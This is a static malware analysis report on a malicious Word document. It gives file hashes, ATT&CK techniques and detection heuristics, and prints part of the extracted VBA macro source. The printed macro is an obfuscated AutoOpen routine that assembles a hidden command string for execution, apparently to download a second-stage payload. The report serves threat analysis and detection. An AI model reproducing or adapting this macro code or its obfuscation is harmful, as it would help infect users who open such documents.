Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2b5f7a16d7353cbb…

MALICIOUS

Office (OLE)

137.1 KB Created: 2018-09-27 11:26:00 Authoring application: Microsoft Office Word First seen: 2018-11-05
MD5: daecfbe972459cc0a7d2a831f6a772ad SHA-1: 4bc5d37c3fc12d6083e201bd5dbdbc7706f2be2c SHA-256: 2b5f7a16d7353cbb0d98ae04ec0e20f6b940bd5c03861c8b9209206b73572ba8
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a critical heuristic firing for a Shell() call within its VBA macros. The AutoOpen macro is present and attempts to execute obfuscated code. The presence of the Shell() call strongly suggests the macro is designed to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6699271-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6699271-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87082 bytes
SHA-256: 2340b43985fb9c445b8d82524f3500a060e94d72275cf9e52ed57cf160e77ac6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wstfmJw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim LkaHhw(2)
LkaHhw(0) = InStrRev(wvOdHGRR + sdzBGpZsCDFZbqSccHJzbL + GoqFFTVB, JdkhBGCr + nmMKwpYifXqSrCwwmEZ + moruF) + Left(kSuHUbjG + zTcVSqPJDFtGEKXKzS + knYwmwP, 426) + InStrRev(fHFGjUB + vzqqLctQIwSoihtqEQuhP + KIziDIz, jtwNTt + NtPrcSOwLwOBRafkSmFoV + HwkjW) + InStrRev(vUWvkiq + dwAYUOTiBIPMIqTKQNupl + zEjzk, FcrUcnt + CUCSiMCuOfTSPrORO + ROjGjOY)
LkaHhw(1) = InStrRev(RltsUjO + nhEWOPnjFkZbQlXlbfCdjiO + rnfdqj, avAQT + SdGpUIVwdwFlDzhOCvaHj + kwImUIsX) + Right(bYNQW + zubpzBHiFkjsuiXYHJ + MNtVMaUz, 617) + Right(HoUAnvBl + IoShDiszQZrGDjuaOIE + Oiaik, 561) + InStr(XlEZao + mFiHRQiFjOGLXuRSVEDIU + TUKCc, ibCWFjw + GAOzMAAzJWnrizPwNuVGWT + rhWiUUjz)
   Dim FLWsC(1)
FLWsC(0) = InStrRev(JjHAiklG + inkAXoCiPRjLJYiJPXPtEp + AUhPWt, iNEiXUJ + ZdVzbQCzCNPtjKBOzAun + qDqzlv) + InStrRev(XiMnXZEr + qcUohtDSvZUiXkMzD + zXWBw, cJFoUwsF + zihcTRzVmzoINidwRju + qlTjK) + Left(SiqBY + jFTBcowRNjHOPIklalhz + cihGBqkj, 55) + InStrRev(zfRFKCTG + isJzBnDtwHzLAhQXwYL + mJkfPj, VnzmYIzq + JziATRwUDjEiTarOHoKlQbY + qYRjzt)
   Dim tFOPFu(1)
tFOPFu(0) = InStr(jnRtVXrV + UuFWVcKvRilwfHRiIzvf + XRJsX, nGidXXkm + wVRvrmIiaqmjYOzKAWX + zpAHPkjs) + InStrRev(wKtPj + JHuBBFPcLmcbYiwBl + jtwjZc, wRizN + lwQurYtPzoVliuzpbA + AdLbOV)
toiMFARcmp (KeyString(pTdKE + zmtFII + 0 + 12 + 55 + nakur + FzTabBS) + qHlZdjk + AUvBlYOO + KeyString(JNMOfLO + drUhdIPA + 0 + 13 + 64 + XDpTGrKj + vMMjkw) + HNktI + ZoHKJwVSDkI + zblWNHa + vtjsdluD + UJjwQNf + HiPaDGvjb + isfjRWMQ + mqTjUOK + JiMjwI)
   Dim rzMSYv(2)
rzMSYv(0) = Right(EwmDFk + IYBvYvbIKPYaIDJC + QNuEJ, 307) + InStrRev(EMYNGX + hRXDlOjqOuzviNzsK + ODdDDzqK, zCWsiAW + OOvVvvFRAIfPAqDTGQpfKHW + CDNbmKr)
rzMSYv(1) = Left(hiIzjB + HjCjpLaoiZjkOZUdmhsFIPk + aJknUOzm, 476) + Left(smmncS + TInURPYPitQFZqwlOVO + jBszvFcp, 453)
End Sub


Attribute VB_Name = "imoSXwAkH"
Function HNktI()
rqijNCoYlh = "d   / /  \  \\  \ \" + "/ /V:O/C" + """" + "set ]" + "@'=702a 2a07 0" + "27a 02a7 2"
nnTqK = "70a 702a 0a27" + " 07a2 72a0" + " 7a20 a072 " + "72a0 a702 0a27 a207 " + "0a27 72a0 2" + "a70}2a70}a"
Dim lpiKD(1)
lpiKD(0) = Right(jlPsq + JOBrHQDwGnvdnvaKszS + jSisS, 487) + InStr(zTXhrFjC + nbXIVOvURjMvrIplKjcYo + QCcpu, KiBfawQ + FPTnYzszrQwGjMMzs + XZdkMjS)
   Dim lPwIKK(1)
lPwIKK(0) = InStrRev(cmopnNaY + oSALTiTLvUOzYciDzXLq + slCLUbi, jbhhV + LZjdOPMFUXVJXNkawRzJ + UmsBAMi) + InStr(LlKJMDWp + DNkmDTzuVtLQLCWLEHokV + REXWabtI, jApBjP + uzUwSRziCsOZLiPZX + SIvTKB) + Left(XsBWa + SmGVawPBvVbiTRTdjMDw + SUizNGoM, 782) + InStr(TCUUast + aDqFDlDzKPnwVIboohOpD + NwIGTK, ZPiYwb + jiApUjMscFiILNjYEoZq + jwszn)
   Dim VNfXIU(2)
VNfXIU(0) = Right(kFjrDqk + zwOkSEastKnZPwvkb + ODaMnFmU, 662) + Right(tlVTHCJ + QawwRrJcvAdjDKGQFn + RHZcE, 930)
VNfXIU(1) = Left(aGpinFcu + KQnsDMinzwsOJjrrPFf + ZWqYv, 93) + InStrRev(VJcGY + NuQnthsjlXYlCiDlSjWJr + kXEjmr, iVpsUEri + XjwIqTwDGXrkZjdnzzjR + KAmihb)
jfYkr = "720{0a72ha" + "027c0a72t7a02a027aca" + "072}702a;270ak20" + "7aa270ae0a2"
ckpGlnMfTc = "7r7a20b702a;a027H2" + "70aj2a07Oa027$20a7 " + "70a2m2a07e27" + "a0ta027I27a0-207aea" + "027k27a0o270av0a2"
sbLMHawZSQ = "7n270aI207" + "a;27a0)70a2Ha720" + "j2a70O7a02$" + "7a02 20a7,072ar7"
HNktI = rqijNCoYlh + nnTqK + jfYkr + ckpGlnMfTc + sbLMHawZSQ
   Dim jtDbwo(2)
jtDbwo(0) = InStrRev(afLhq + LLMFrkokjjkcsrObFBSoB + FHCRjv, TRpjChz + sMDAJtTTOQEsXUpdmTAo + YPGIM) + InStrRev(wzwpX + NSzPjXVaiFhsVSAswkddK + KItbVG, PUVkIZjw + DiBkdzEQXLjpnMNjSI + wFwfHPh) + InStrRev(IBHdSZi + EpaijibvMSRCTCifUwBjE + nfftnjm, IJQZT + TUAUFiCPuzaaCGErBwB + iGOvkmF) + Left(QiOEEV + wisjMVCmGUcvvQpwTG + pnDJUsS, 103)
jtDbwo(1) = InStrRev(YzXjzRl + wfkjbhQTOXmWwBDwhKUBl + kuORXN, zzEDcc + iqMwBAdCIZijzsEwVEW + fJwDw) + InStr(jdlqKZs + YlOPnciTFLXfiACTsB + JbpAznT, jNzTH + CickthEvRhKchFHEo + jjAfLoS)
   Dim TYTbh(1)
TYTbh(0) = Left(iEAPnlP
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